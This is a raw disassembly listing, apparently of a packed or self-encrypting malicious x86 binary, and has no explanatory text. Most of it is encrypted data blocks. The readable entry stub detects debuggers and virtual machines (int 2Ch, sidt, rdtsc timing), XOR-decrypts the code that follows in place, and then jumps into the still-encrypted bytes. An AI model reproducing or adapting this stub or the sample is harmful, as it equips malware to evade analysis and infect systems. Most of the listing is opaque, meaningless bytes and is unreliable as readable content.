0E54EA761h, 0D7AFA8D4h, 9460D05Eh, 60EC4CEEh, 0A62B618Ch dd 0A05C3305h, 0DE16EBFDh, 82F685BBh, 1446C2F3h, 0FE13C0C9h dd 1F0868A3h, 0A452E304h, 0B447DD14h, 0A14B2C05h, 0DC19E66h dd 8D6B904Ch, 865A8771h, 0B3D59E52h, 6E774E92h, 8659284h dd 80E8660Fh, 747B1A1Ah, 0A6EE809Bh, 0E8D709ADh, 93F00915h dd 85C7C1EFh, 498C847Ah, 39549041h, 0AF57D674h, 0D2C4BC5Fh dd 0F7FD363Ch, 44E670ACh, 0E656FAFCh, 0C9D5C1BAh, 7DE73C39h dd 6504B62h, 85F4B816h, 0A82FF8B3h, 0D20E6C07h, 1F7B9767h dd 9157134Fh, 6D423FE1h, 21CC6122h, 6F302D71h, 0CEA6B460h dd 7DDCE4D7h, 6F787E98h, 4C5ABCA7h, 0C0A21FA4h, 77E98E40h dd 0EC84D92Ah, 489FACF1h, 47978F52h, 0FA82F1EFh, 0A20C16ADh dd 1816A766h, 3185AFE6h, 4812D28Ch, 0AD8FCE7h, 6827732Ah dd 2333C9A4h, 7A01605Fh, 0DC85F8AEh, 223F978Dh, 0C46341D1h dd 796D867Ch, 191EE94Eh, 4942B1F1h, 47E7F1F3h, 8A9321D4h dd 813B9B2Dh, 815791A7h, 9AE6B470h, 5FCDC389h, 0F25B895Fh dd 2F7B4852h, 42838E29h, 0D8CE7DA8h, 0EAB373Ah, 97124EA5h dd 3EC4AC73h, 8113EC70h, 83C69E89h, 5E488508h, 750C1746h dd 0E41FE873h, 0DF05B7D8h, 0A63DA6C4h, 31A5FBA1h, 28E80700h dd 5BEA4D81h, 20C5B814h, 0DDB550C6h, 771755B2h, 0C82EC33Bh dd 9A1FFACEh, 0A290F86Ch, 55C28F01h, 0FE2FCFC5h, 0CC5EF52Dh dd 0FAA54EBh, 0B5FB1703h, 6F081A46h, 0EA001A6Eh, 3981B633h dd 38BDF738h, 3A50064h, 0D86C90A0h, 7D556EE4h, 0E39062EAh dd 9E368B24h, 0FDAB6F01h, 0E1109E56h, 2A4A5F49h, 0BF624508h dd 71324054h, 0B437F304h, 95CE8469h, 89193A87h, 0E3F8FA21h dd 9B2E03EEh, 487D47E4h, 0BED7FFAFh, 0A6610357h, 1B65EE2Ah dd 5AD30F0Ah, 8C9BD84Ah, 92B78BACh, 54F3DA46h, 6659310Eh dd 0E36707D9h, 0E8022C1Fh, 7B2CD938h, 0FC7092ECh, 0B80E36C5h dd 5BA33323h, 0B0EFA5A7h, 542F5343h, 0C461C566h, 0EB8395EEh dd 0BB6100F2h, 3D116A1Ch, 0C88EACD2h, 0B3C2D1h, 7FA04999h dd 6CF429F5h, 8C5B3964h, 1C820390h, 0BC3B32DCh, 0D822AF54h dd 8A9C3F5Fh, 64C4EF43h, 0C5D5A94Ch, 9E62485Bh, 9C0EE017h dd 7B8AF2C5h, 0FC860BCBh, 0F99C3ED9h, 3108F7D8h, 3AF893DFh dd 0ED20A1AAh, 70BD27D0h, 0EAD8ED8Ah, 11F134B4h, 26328A7Dh dd 0CDE328FFh, 95DBF739h, 39207B52h, 0A416B54Ch, 0CFD64972h dd 203492EEh, 566BDE0h, 488285F6h, 0F6CBF993h, 0F49F035Eh dd 86E6DF3Eh, 54ABAC90h, 954466BCh, 7A0A8F8Dh, 77D9DBD2h dd 0EA66EF79h, 91F9C68h, 0AC6B1B20h, 398B70DAh, 3F3BCB50h dd 2CCA2B0Ah, 0F58DFD23h, 47096B65h, 6E743152h, 0FC753D09h dd 90DBAE4Ch, 96480A3Dh, 0CC00CF36h, 1F347F41h, 430FFC0Dh dd 0F0B40C71h, 459BABA3h, 44F8112Dh, 4A345771h, 0A50C4B2Ch dd 0F8108BB4h, 0E9386CFh, 530CE0AAh, 0E83B8BF9h, 0B44C78B2h dd 8EDEE24h, 0CC40CF30h, 8A2A1195h, 0D103A085h, 81DC8E81h dd 5CB11CB0h, 4C279B01h, 1782263h, 0FFA8EE3Ah, 0D9263F5Fh dd 2C1147DAh, 4D3C793Fh, 6C7E4001h, 78CCE7A5h, 0F418B414h dd 897D76F8h, 59D39C7Dh, 103E0DFFh, 0E4F1C233h, 262FA220h dd 0DF3B9B67h, 0D6645084h, 2D2D827Ah, 59F57BA8h, 12F02C2Ch dd 816424EEh, 11CD626Ah, 6CECC216h, 0F8A713C0h, 20CF26C8h dd 0DC3B0419h, 9B14BB76h, 22F936A6h, 5B15549Dh, 1EAC03B0h dd 6889713Ch, 7E244B0Ah, 3005F3EBh, 0E73F0CABh, 0E9826113h dd 9D195D09h, 0BC0C4578h, 0EF43D490h, 0B6E0CE3Bh, 5E8FF9ACh dd 0A0B42B5Fh, 21171A0Eh, 0E20EFF2Ah, 0F0101666h, 2DF68651h dd 4342A47Eh, 1B2D9669h, 6BF99063h, 0D07C16E1h, 3B5559A3h dd 738437BDh, 9BA8D958h, 6B71308Eh, 6D221E6Dh, 0D3F82C63h dd 971174A3h, 0D4B6E54h, 2CB8BC70h, 0EF6443FBh, 0CAE80D2Bh dd 0FD5CAC0h, 7DAE6B90h, 0E5F7744Ah, 6E3A29D0h, 0A4B7CC94h dd 946A5D9Bh, 0DBAB1F93h, 5FABD932h, 88A23A5Ch, 0B731321Bh dd 0F81BEDD6h, 0D9FB7F6Dh, 0C316EF67h, 41EAD15Ah, 191A0E46h dd 0A602FD0h, 2B4EA0A9h, 0C46BAD7Bh, 66FC7416h, 0C161E2FDh dd 0E70C29D9h, 0A5782228h, 5806F7AEh, 9E4C21B9h, 1518E85h dd 9F803F0Eh, 0EA4E03F5h, 0A1176B1h, 0CAEE21E8h, 3405D85Bh dd 86AB6563h, 5F6FB14Dh, 4E1302Fh, 0D4254E22h, 2D64323Ah dd 0BC7857D2h, 958CFF95h, 79D393A1h, 0C0B09F21h, 81CCDCBFh dd 0AF85BF5Ah, 0ACADDBFAh, 3FF88B92h, 0AE5334A7h, 0C0845629h dd 83779F2Dh, 2D197437h, 84830438h, 59CB7FB0h, 0B57F1B5Bh dd 980254D8h, 0C1CE0D86h, 0C78B7150h, 21FA6D5Ch, 0F3CDCFE2h dd 3585A37Bh, 0B05B004Dh, 0AB96E316h, 3EDAFF53h, 56B85581h dd 0B82BB929h, 9901AD47h, 0EF3D3714h, 0D5A5875Dh, 6590BA5Fh dd 158C3FEFh, 0EF0E6AD4h, 7ABC0D98h, 0BDC8571Ch, 833AC5D9h dd 5E248400h, 0A5786515h, 86ECDFCAh, 67840D05h, 0C14D5786h dd 6E1DCF27h, 2B49049Eh, 9E400880h, 0C6611A77h, 588BF659h dd 90E1FC1Bh, 919FD472h, 84763D0Ah, 653198B9h, 931D0C15h dd 0A1252DB3h, 50B7A5A6h, 0F0FF9E27h, 96380ABAh, 2B0FED4Ah dd 0CEE7D3CEh, 25359F2Dh, 54641C65h, 704A0E7Fh, 2E29479Ch dd 0C97F1C83h, 0F2853850h, 0B7CC0F58h, 7A80AF3h, 0E3CE9022h dd 0A80DD9C7h, 0D9F76862h, 53ABD7DBh, 2452CBE3h, 14EA5E8Dh dd 0ED3B8F6Ah, 4E244596h, 7F188BAFh, 75ED0403h, 0C46FC38Bh dd 3B56952Ah, 0E1095271h, 8E413B7Ch, 6EE2F294h, 8A85DF53h dd 5A07A9Ah, 0E2BA0CFDh, 671F6F0Bh, 7E3CF0E7h, 7327502h dd 43ABDED6h, 0F2033518h, 0C4F57582h, 0C341F5CAh, 0BCC2F350h dd 8F3883A6h, 0B8CE5A7Fh, 45EBB82Fh, 0E3B7DFF7h, 0E74DD77Eh dd 0ABCDA67Dh, 2A5A994Eh, 0AE1E3947h, 0E3143B16h, 0D8C81D14h dd 728D2DFFh, 0FD487295h, 5F97C34Eh, 0A6B2900Dh, 6DB522EAh dd 57C405ECh, 3CAFD347h, 71CC7366h, 0EBA8C5DEh, 11C35043h dd 6F912484h, 6CF7C8E8h, 24FE92C1h, 33FFC72Ah, 9A2221AAh dd 7AAD5865h, 0B164AA39h, 4553F08Ch, 736C0271h, 0C9284A60h dd 8127F507h, 0ED3A7533h, 887F62A9h, 0F8FE5EB5h, 0D9F846C2h dd 693060E3h, 67A8B78Bh, 24910895h, 37CF874Ah, 7A67247h dd 44E709ABh, 0F9281D5Bh, 48358C6Ch, 0B4C055BCh, 814B1972h dd 71F43F2Eh, 0AF805E9Dh, 2B0CABE5h, 71462504h, 0F10BA3F8h dd 0DA69C890h, 0DBA23850h, 0B848FEDAh, 0DF1EC907h, 40F975E7h dd 0E4766378h, 0AC0F9526h, 0FE4F45A4h, 0D4A452E8h, 0DACA1C83h dd 0E1652664h, 1F5CD64Fh, 0A02AD073h, 0EDF1684Bh, 0B4F65710h dd 6E6FBE6Fh, 58048377h, 0C298BC23h, 0A6BF8BA6h, 93DB5DCBh dd 30931809h, 6A5D81CDh, 0A3A1F6E4h, 0ECC9B10Ch, 0E6C43CD4h dd 0D04FD97Dh, 0C74FB161h, 112470E1h, 0FE40D21Bh, 0AEC966FDh dd 51A54CADh, 0D2688E01h, 7A640612h, 0BE35A88Bh, 6C2F1A09h dd 0C1AF667Eh, 3B68EBF0h, 0B865C011h, 42C02B9Fh, 0AB2B16B0h dd 0C5C0C92Ch, 0D70C81C3h, 305D09Eh, 9A9247C5h, 0A055F9B7h dd 0A73DCBDFh, 0FAB3CB59h dd 5DCF3F0Dh, 0F8765C71h, 62D6C0FCh, 98E69DFBh, 0B1F0AA4Eh dd 6F8385F9h, 37D95805h, 2CCED784h, 0DC91F1E4h, 1D40A009h dd 296AFC4Dh, 0A869F5F9h, 4718454Ah, 4BFB8C6h, 0F795480Fh dd 4DB1B375h, 0CFA503C9h, 9B9FDFEh, 4E34D7D7h, 64CA82ADh dd 11F5E4CEh, 456C728Bh, 0B25CA1F0h, 63A9CE00h, 1DA269B0h dd 490F2A05h, 76DEFFFAh, 4D7890EAh, 0A2DFA6EDh, 53057B65h dd 31F6D266h, 0E6EBFF0Ch, 9021FB92h, 0D42B49D5h, 3E9E866Ah dd 1CB0FE70h, 42509758h, 0C53E8523h, 0B2F92B9Ah, 6E02A646h dd 0B3D24F41h, 0D9D02019h, 73F88130h, 4FB9A4A8h, 1111322Fh dd 92869629h, 9633D8AAh, 56B725B7h, 487B7878h, 0CC9995E9h dd 29CF1B03h, 0D40F551Fh, 0C5713B55h, 0F7CE1F42h, 37F01A14h dd 361F998Bh, 77CFA1Bh, 0A8A75EF1h, 0E82DC1A9h, 62E9F71Fh dd 2929E858h, 436F6BE8h, 0D15E945Bh, 9E13071Ah, 24D04F25h dd 0ACCF4B81h, 0A80A2B93h, 4F44EC97h, 9906AE9Eh, 7E4173A8h dd 85E37B1Bh, 45E42000h, 0D1989A94h, 0F9FBAC2Dh, 0CF8A95A8h dd 0BED9892Ch, 8C2B124Ah, 4AD7C70h, 3F0E21D1h, 769C94D9h dd 765D5E21h, 0A8B620D5h, 2704ABF8h, 3B049135h, 0C1349CC3h dd 88FEE09Ah, 4B4E812Eh, 79FBD275h, 92CB124Dh, 0CCC16225h dd 83B4B85Dh, 5A0BBBCDh, 3679A119h, 4B3EA0A3h, 33B92D10h dd 952AF011h, 6B71396Bh, 91919193h, 6412A976h, 3ED3DA7h dd 59B4B998h, 0AE970872h, 70DC3AF9h, 2572A914h, 0F0746785h dd 490FDB53h, 0A8027978h, 9F4948F8h, 7674057Bh, 5587B715h dd 239AC319h, 601080E4h, 0F07A47FDh, 44F9D7ABh, 0AB40F4A0h dd 3523F5ACh, 0FED2A455h, 0E2DBE5A1h, 0CBA47841h, 0C675D067h dd 61D75D91h, 5E7BFFF5h, 3E61F8AFh, 298A7D32h, 478A34E7h dd 2C7ED103h, 0A8DF2244h, 93FBEAD2h, 0E4D2E674h, 0BF332E94h dd 85A2A6D8h, 9D69CE9Fh, 5F6412Eh, 7A72304Eh, 0D9954109h dd 369B8F7Ah, 2167CE1Ch, 9C20CF87h, 88D43DC8h, 34B69AA4h dd 0EF5933FEh, 70C36B2Fh, 0F83124B3h, 4B13F039h, 53924C5Ch dd 76D9A8F3h, 755641B5h, 8ED07F8Fh, 5A811F9Fh, 0FF519F00h dd 36D4D418h, 43ECEB9Dh, 0AAAE5E2Ch, 0F3B3DDA3h, 77321872h dd 0D5990ABDh, 82D6F8E6h, 1340BA76h, 1693F74h, 22A13ACBh dd 2FAD3509h, 0DF67303Fh, 88817EDCh, 2F5BD3FBh, 10C19157h dd 7D27F806h, 0F1E51BA2h, 2C357121h, 0ECCA21B9h, 2BCCEE37h dd 37A2323Ah, 0C805D52Dh, 60CD6F9h, 0A59D56D8h, 0D9CC0983h dd 64677E85h, 0EF4183E0h, 56353D0Ch, 35D65B58h, 819DD179h dd 387A6292h, 0F561AF8Ah, 0BF3AA019h, 27131F6Ah, 0C7E719EDh dd 0DC899AC3h, 8EF0E2ACh, 79C11B5h, 0DD7F2947h, 7B26C79Ch dd 7BD17334h, 9E643580h, 0B7B06C1Eh, 75719EB2h, 446726D4h dd 84BFE8DBh, 0F87E93C4h, 54CFB9FFh, 0F78A8097h, 4C63B5D2h dd 961107h, 434B8292h, 92647BBCh, 0E9AD3B5Fh, 6904BD28h dd 51B1917Eh, 2A1B739h, 9B42E8E5h, 54D76F72h, 57DADC5Dh dd 0AC0BA5C2h, 0E3F4C48Ch, 0D80582AFh, 5B95B5DDh, 0D91B0183h dd 0ED7BA574h, 0EA2965B7h, 813FC271h, 2F6194AEh, 0F3EC5CEAh dd 0BB4B74F8h, 0E1CD7AC1h, 4B70C7F3h, 0CD688A51h, 0BAEA6699h dd 5B996AC1h, 72D25FBAh, 0C24E5218h, 771520Dh, 0E1D0121h dd 78756600h, 0DCC1AE2Ah, 802E1EEEh, 0A01E8E3Ch, 1A316834h dd 0F87406C3h, 0DAE0667Ah, 65F15884h, 0B37286B3h, 11C37A4Ch dd 0DD097A1Eh, 0E939D984h, 499FCC0Eh, 0DA30C5C2h, 89DDBFAh dd 0F2057A56h, 3019AFC4h, 3A73D0DEh, 2FA89792h, 8F144823h dd 0A41C5189h, 7299D341h, 0D71B9761h, 0E51EF94Dh, 152D8569h dd 5A08E2A6h, 50F57635h, 0FC168747h, 0B429A956h, 0C10CA7BBh dd 0B51AB93Bh, 0FC6FDB0Bh, 0F887F3DDh, 0F65EDA5Ah, 5B232514h dd 4A9806E2h, 133A6282h, 0A45171AFh, 5638BB03h, 0B4CE81ADh dd 698C2AD8h, 37779A56h, 97688628h, 3EC0020Fh, 8FE66787h dd 0DB886BC1h, 4FB80683h, 18D9C7E0h, 66E03048h, 0D55B0BB0h dd 0A696E92Dh, 791324D9h, 168A805Fh, 0A9E964DFh, 0A1AC7A74h dd 0B9B94331h, 5B138067h, 0E6125F4Dh, 0F3239BC2h, 4BB9CEAAh dd 5160B714h, 0B372008h, 549892B4h, 52920AF9h, 0B1339D37h dd 0F16227D9h, 968A6985h, 0A6C78AB0h, 0B1BA544Eh, 0D9137B5Bh dd 2F6A2726h, 0D9E098D7h, 37CEB859h, 0A78B26F0h, 400BB0DBh dd 0E65A72F2h, 0CB37CBE4h, 0CB552656h, 0F3A2B683h, 8F6D702Ch dd 0D069174Eh, 0F5FE7359h, 560EE68Fh, 6E8F1FE9h, 9412F693h dd 1A2DA3B5h, 0A55ABB20h, 35903227h, 3BBBDD6Dh, 0F5F0BAE5h dd 7938F208h, 946A6F5Dh, 0CEF11585h, 74E0CF28h, 0DDC8C6FBh dd 1D6DA27Dh, 0F801FCA7h, 4F13E467h, 9A9318DAh, 0B86DD715h dd 98D1E0DCh, 570F50A2h, 0BCFDC78Dh, 0B6139DF2h, 96DB2D78h dd 20CCD687h, 5FFD267Ch, 39D11F4Ah, 2A8B2F4Eh, 9E131DD5h dd 285EDC39h, 0A2B7E826h, 5CE787CBh, 0D4D7E801h, 0BC7B552Fh dd 6B026E4h, 0AE3315A2h, 0BFC68C84h, 0D6F2D5Ah, 91C52282h dd 4D7D7E4Eh, 95BED7E6h, 3F906D2Ch, 2AC08E9Fh, 69C6B67Dh dd 0F88D1981h, 0F505432Fh, 0EAC18480h, 30410BC6h, 0CDBECF15h dd 0A15C9A26h, 0C70D6976h, 627CCD7Ch, 0EE4D9680h, 23CCB8F6h dd 0B89F0582h, 204C5EAAh, 3F8067C6h, 39B5281Dh, 3CE370BFh dd 7343208Bh, 7AF38F25h, 0B25496DDh, 0DBBC3A66h, 0EC9D0375h dd 4B22A5F5h, 0FE3E8DC5h, 6781E1E0h, 0D6038800h, 105AFEC9h dd 0D80CAA27h, 6923903Ch, 7D28D55Bh, 1FC2E793h, 0A4C23C5Dh dd 0BB84C531h, 52887544h, 17539B3Fh, 4195959Bh, 0B7957A0Bh dd 0E37B5918h, 5CEADE6Fh, 8ED9DE47h, 8AE2826Fh, 5F180CE9h dd 141E0975h, 645EA34Bh, 0B9200DB0h, 49A919BBh, 6444B4E9h dd 0A483FE5Bh, 89125E4Eh, 0EE5B5BFEh, 413F8A4Dh, 9C248035h dd 60F925A1h, 9C230130h, 978B5472h, 44E32A65h, 0F96CE08Bh dd 0D868781Bh, 0DFF13D1Ah, 0F81B20F1h, 5E49906Ah, 0DBEBF7C7h dd 4FA70164h, 0E8C6C70Fh, 4949F113h, 0CD7E3966h, 8BDF0427h dd 18AFEFF8h, 0CE0EFA22h, 770801F8h, 0BE9E5F5h, 7A199900h dd 72672224h, 11DB25BEh, 0C9341C52h, 70E0D190h, 5014615Ah dd 0DFDC3329h, 59AFB8E1h, 8523E989h, 0A29604CEh, 0BE9822FDh dd 6C952621h, 0EFAB5D72h, 3CBEC4B9h, 332F32AEh, 9071EF6Fh dd 6AFECCD9h, 0B0AD15A2h, 0F4F82146h, 6C9D1B01h, 0A6512FA2h dd 0D9150FDAh, 32107A15h, 3CB4300Fh, 27DD4F63h, 12A000FEh dd 8C0B4F4Ah, 0E8C616EFh, 9197E5F2h, 0A59E7F4Ch, 16ECE8E9h dd 0D0185D3Fh, 0DBD23DC2h, 26EA6502h, 9005C1D8h, 0F723F11h dd 0E4107D6Ah, 5EC1B562h, 1B9A8F86h, 0DBF71CB2h, 0A87BD7B6h dd 0A76492B8h, 0DAFBAEA6h, 867097D0h, 51CF1D71h, 5DE8B5E6h dd 508E063Bh, 752298CAh, 0A835F29Bh, 0F4CEC68Ch, 0B0288FAAh dd 46B2FB47h, 0B8E7122Eh, 0F39BBF0Eh, 7295225Bh, 0F43AD1FDh dd 0CA98FE52h, 1E47E113h, 5EF1E3E4h, 2C7BD16Eh, 0D60DC3B9h dd 4DFF174h, 0E0C990D9h, 1633AF9Ch, 1BFE8D72h, 72D335F1h dd 65065C65h, 75E664E7h, 7862B063h, 0C92EB2C8h, 78C5DAAFh dd 0E87C9F3Eh, 480F3BF7h, 915A8EB3h, 0B13DA420h, 0A9F424DCh dd 8D4BAF76h, 76244001h, 0CD9A8AD4h, 0E060ABBFh, 0DF0CB361h dd 5594060Dh, 33BD99C7h, 1B0E6B91h, 3B7580B5h, 108E4DF6h dd 12F1DA7Dh, 0BD07C90Ah dd 4FB745FCh, 1265CCE8h, 7F535503h, 0EF7676EEh, 8FF3F226h dd 0FC165732h, 433DBC95h, 37D8FC5Bh, 1548E8BEh, 0E522E586h dd 708E30A8h, 8C0C66D2h, 47B719DAh, 44FE1074h, 0E553C38Ah dd 0F2B1DA08h, 2FA69E44h, 0B091B156h, 0D9DD28E0h, 0BD4A16ACh dd 0D77AF3E8h, 0FC9105D7h, 648E7B81h, 0EE9B5B71h, 60F54DEh dd 0E7B98CA8h, 93CAAC4Dh, 2E6E0F7Ch, 0CEC68916h, 597F8AB3h dd 0A97A4453h, 74422081h, 0D39EE516h, 0CE445F3Bh, 0E7037BB7h dd 6061E232h, 0B08DCE2Ch, 0F331A2F5h, 0CEC03B1Ah, 9CEF9696h dd 0AF6D1DABh, 0FDF0543Ch, 4C39CFEEh, 923214A6h, 64E0E318h dd 55BEC067h, 88F84D47h, 98CDC28Eh, 34EC457Ch, 1278C41h dd 689E0793h, 714EACCEh, 0AAAC767Dh, 54497563h, 0CC453E2h dd 0A0043E21h, 0E2DF809Dh, 1DEA91ABh, 0FE7491Fh, 0FA929B98h dd 450B6DD0h, 3D7BE8E4h, 9B0807DEh, 1703E9EEh, 7091DE46h dd 39327918h, 70E701Eh, 614366C7h, 1CAA1E16h, 7EA747DDh dd 0A4C120D2h, 0A806F304h, 0A515CAD3h, 3D5AAF4Eh, 1A595640h dd 0DC09CD3Ah, 0AF5CAC68h, 91A7FD5h, 0FD3625DCh, 0D5750E8h dd 17F38147h, 953424B0h, 7FAF6651h, 64918865h, 46A22D72h dd 89F23B25h, 81D5F588h, 0C5D3A57Dh, 336B612Fh, 2038FA4h dd 84AB1763h, 271A1781h, 96B165AFh, 0A5CBBF46h, 0F3E20BD0h dd 0E3D8E6DAh, 0A24BF563h, 8BC73FBh, 0B51115B5h, 37DAD765h dd 8815FEF8h, 0A36CDEDBh, 73605223h, 0AE02AD8Eh, 917509E6h dd 1D97C9Fh, 25FBC9A2h, 0BAA6379Bh, 0EDBCBEFBh, 0D5A0AA82h dd 44E16AF0h, 1DBD860Dh, 717F53C3h, 8DA38A27h, 16D86C75h dd 0E81471A6h, 8F4710C9h, 4DB6305h, 0F0A67838h, 0BE76F073h dd 0B0524AF1h, 0CDE16FDEh, 0E7F79F9Bh, 7652545Eh, 0E92353D3h dd 12EA6761h, 0E2E82DF9h, 40DBC0C7h, 0A1B85BE5h, 8E90CD2Eh dd 3801C5ADh, 0CB924598h, 634CF9BFh, 1DF097D4h, 948F5805h dd 586DEBD3h, 1E9F889Bh, 0A48C12F0h, 0CADF458Fh, 0F2E61EB6h dd 0FA4EC935h, 0D8912160h, 0F9475598h, 0F6B37BCCh, 64139F76h dd 95F565BAh, 9D18F84Dh, 157AA3F4h, 0E6D72D23h, 0CE99DC89h dd 90C876F6h, 67810C77h, 5330E6D4h, 9113BFB5h, 3EC4E29Ch dd 0D6851935h, 0FDB5F56h, 0F8550467h, 79EB390Dh, 8EAC0345h dd 0AE6354D6h, 80CC70ABh, 35C127F2h, 0EC263922h, 63E67ECAh dd 0A3A80B6Bh, 10311E5Bh, 88C3567Ah, 40E7E26Ah, 0ECB5DF9Dh dd 5819A153h, 0DF8990FBh, 565DB4A4h, 395933EBh, 387D66FFh dd 3BFF9D28h, 0F8EFAE10h, 7C9EB355h, 0A72A418Eh, 0F4848735h dd 6A583FADh, 0D5BFFC0Ch, 0B7C86AC5h, 0F3D65AB1h, 491561CFh dd 8502D7B9h, 0F4CB2C2h, 8B27C549h, 9632E37Dh, 0D72B6D83h dd 218E3190h, 23E7EFC8h, 8B325E14h, 84E3B2D0h, 1DB77614h dd 1BB9C257h, 0F3321D14h, 0F11EAD16h, 0F95A2FFh, 50E497C5h dd 76C14BC1h, 0E1A314C9h, 0BFDDA12Fh, 61EE9027h, 6E2BEE55h dd 934EA10Fh, 0A920467Dh, 28AB0501h, 0EB31AA83h, 8676AC54h dd 6FA9C7E1h, 8D0010DCh, 0B4F342A2h, 0AF09BC06h, 0DEA935FBh dd 44415034h, 44444150h, 58474E49h, 44415058h, 474E4944h dd 44444150h, 58474E49h, 44415058h, 474E4944h, 44444150h dd 58474E49h, 44415058h, 474E4944h, 44444150h, 58474E49h dd 44415058h, 474E4944h, 44444150h, 58474E49h assume ds:CODE ; =============== S U B R O U T I N E ======================================= public start start proc near cld call sub_2242E start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_22406 proc near ; CODE XREF: sub_2242E+4Fp push ebx mov ecx, 0DA5h mov ebx, edx loc_2240E: ; CODE XREF: sub_22406+13j xor [eax], dx lea eax, [eax+2] xchg dl, dh lea edx, [ebx+edx] loop loc_2240E pop ebx retn sub_22406 endp ; --------------------------------------------------------------------------- db 0A0h, 0A1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_2242E loc_2241F: ; CODE XREF: sub_2242E+3Aj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_2242E ; =============== S U B R O U T I N E ======================================= sub_22421 proc near ; CODE XREF: sub_2242E+8j ; sub_2242E+19j push ebp mov eax, 8000h xor ecx, ecx jmp short loc_22455 sub_22421 endp ; =============== S U B R O U T I N E ======================================= sub_2242B proc near ; CODE XREF: sub_2242E+1Cp ; sub_2242E+22p rdtsc retn sub_2242B endp ; =============== S U B R O U T I N E ======================================= sub_2242E proc near ; CODE XREF: start+1p var_6 = byte ptr -6 ; FUNCTION CHUNK AT 0002241F SIZE 00000002 BYTES test eax, eax jnz short loc_2243A int 2Ch ; Internal routine for MSDOS (IRET) test eax, eax jns short sub_22421 jmp short loc_22449 ; --------------------------------------------------------------------------- loc_2243A: ; CODE XREF: sub_2242E+2j push eax sidt fword ptr [esp+4+var_6] pop eax mov eax, [eax+6] shl eax, 10h jns short sub_22421 loc_22449: ; CODE XREF: sub_2242E+Aj push ebp call sub_2242B xchg eax, ecx call sub_2242B loc_22455: ; CODE XREF: sub_22421+8j sub eax, ecx mov ebp, [esp+4] sub dword ptr [esp+4], 0D2F2h sub eax, 100h jnb short loc_2241F sub ebp, 301006h lea eax, [ebp+301082h] mov dx, [eax-65h] call sub_22406 dec ebx mov eax, ds:0EAC61ECAh add esp, [edi+24h] aam 3Bh cmp al, [ebx] out 3Dh, eax dec edx std ror dword ptr [edi-38h], cl add ch, al cwde mov ebp, [ebx] sar dword ptr [ebx], 47h das push eax xchg ebx, [edx-4Ah] aad 0C0h inc esp jmp far ptr 0F042h:0B98AC465h sub_2242E endp ; --------------------------------------------------------------------------- db 82h, 70h, 81h dd 0B0C994BFh, 90B63455h, 0D431EDF0h, 24938325h, 9043E3E7h dd 88757A55h, 203A2BBEh, 7172E285h, 0BC8D27A9h, 8631EEA4h dd 4346AB49h, 0F1E2A0E3h, 0B2BA4869h, 67791923h, 0B94FACDAh dd 55B12B9h, 0FDE4FAA9h, 0F1C996Dh, 2311B2AFh, 0F6E79294h dd 0BAB04376h, 45173600h, 0DDD16E49h, 9AA9D229h, 0DBDB37D2h dd 72713E7Bh, 3E16DBCEh, 0C4F39B91h, 341E1241h, 0FEE060Bh dd 448CC4F4h, 22A60602h, 6C4787h, 7AD57576h, 47BE5E35h dd 6D280D3Ch, 0ED0FCA42h, 95B2918Eh, 7242C7A8h, 0CF119712h dd 0F4F66646h, 23B83D17h, 2F79D9E6h, 0ABC69EDEh, 73FC5D69h dd 0C14462Fh, 0CD356DDCh, 8CC2120Bh, 0E8B9E996h, 0F245958Ah dd 81800EC7h, 46972825h, 381F5BDBh, 503EAAA8h, 1973EC80h dd 0CDFE0231h, 1D50C762h, 44603C51h, 161BF2C1h, 0D4E42101h dd 0B395719Fh, 5867A284h, 0B70D07F8h, 1ADA0A16h, 99136393h dd 5F5DBD69h, 0CB8AB974h, 8A234301h, 2C229282h, 4D82464Dh dd 0F3CD0536h, 82E74727h, 5BBC7688h, 0E96AFAE6h, 0EA2803CCh dd 79EE4E4Eh, 20302503h, 9DFAD1E0h, 0B3BB06ABh, 0F418D453h dd 0BB37A784h, 48692543h, 461FE918h, 0DA10DFBBh, 34546211h dd 0F3261FEFh, 8FDB8E8Bh, 8AA8905Fh, 53132D5Dh, 0D299A21Dh dd 0C7C7244Dh, 0E99C9666h, 0C94A9A83h, 4C0ECB2Eh, 0CF35A923h dd 65986F6Dh, 3951DAAFh, 1391F5F1h, 0D5D3335Bh, 0F7808A74h dd 0DD56869Dh, 4113F838h, 0B1D93938h, 1D732B7Bh, 355CB8BDh dd 0AD753CFFh, 0B2DE5516h, 252180EAh, 87F73DC4h, 0CFA4342Dh dd 0E8E7464Dh, 1C91D77h, 6981C9FAh, 44AB0B0Ch, 0EEED4FE7h dd 0D3768FE4h, 8D7ABADAh, 839E7B87h, 3705BF53h, 1A332B17h dd 7777D7E6h, 0B9BB949Ch, 0FAFDB359h, 68739D9Ah, 7E329298h dd 93DDB5E1h, 0B48F626Fh, 4373B41Fh, 38092DD0h, 0C6F60A5Ch dd 0E09B65D7h, 4A49AB6Ch, 0A0235769h, 0C2CC2C1Ch, 0F0C37E9h dd 2CCA24AFh, 6C90C0DDh, 515D3343h, 16245F4Dh, 736C0837h dd 6569F6C8h, 5CD7383Ah, 1D1A7841h, 73CA3E36h, 0D163FCCFh dd 645BB140h, 0A520B0A9h, 564A4779h, 0A75CFC06h, 0F3624A47h dd 0A127878Ah, 5C44494Fh, 0ACDAF50Ch, 0C561C9C2h, 8DAF8EBEh dd 725FE45Dh, 0B3B1EEEDh, 0F50FD45Ch, 0BBBE9594h, 7846FA53h dd 0C84701FBh, 607FD558h, 0BD3CACB1h, 4E564761h, 0BF40E01Eh dd 0DA866E5Fh, 0AB42A2A0h, 8583E205h, 0EA3A98A8h, 0C78C6756h dd 93BEA8C2h, 0F8D9915h, 8DA128CDh, 655A946Eh, 0DC56C4AFh dd 0A39A7844h, 0D4CD8833h, 129E7374h, 0A7AB4AFBh, 173E9307h dd 0DBD77A3Eh, 0B67F797Bh, 0F45EFD30h, 0C7371FCDh, 6926DFEAh dd 4C1F1556h, 6660A090h, 0A7C8CE8Dh, 0E88E80CCh, 2A2686E0h dd 3D27ADC2h, 0FDA7635Eh, 0C262DEB2h, 0B3758DBEh, 26068E14h dd 38B01072h, 7FF23887h, 5C30FE58h, 2A77BFD6h, 0EDDF1772h dd 90F95939h, 0C351CA9Ah, 0F3E9238Ch, 0E0BE2E32h, 0EFFE506h dd 43409C25h, 85376FE3h, 7FC41435h, 8066E73h, 0EFB44823h dd 9C88056Bh, 48472A1Ch, 0F3C786Bh, 0C4C04D50h, 93BEF7A3h dd 9545CF61h, 0FE124258h, 5853B3A0h, 0F1FB9BB4h, 0A986464Fh dd 71710E12h, 93CDED8h, 0C4EF969Eh, 1D8C3C00h, 1435A717h dd 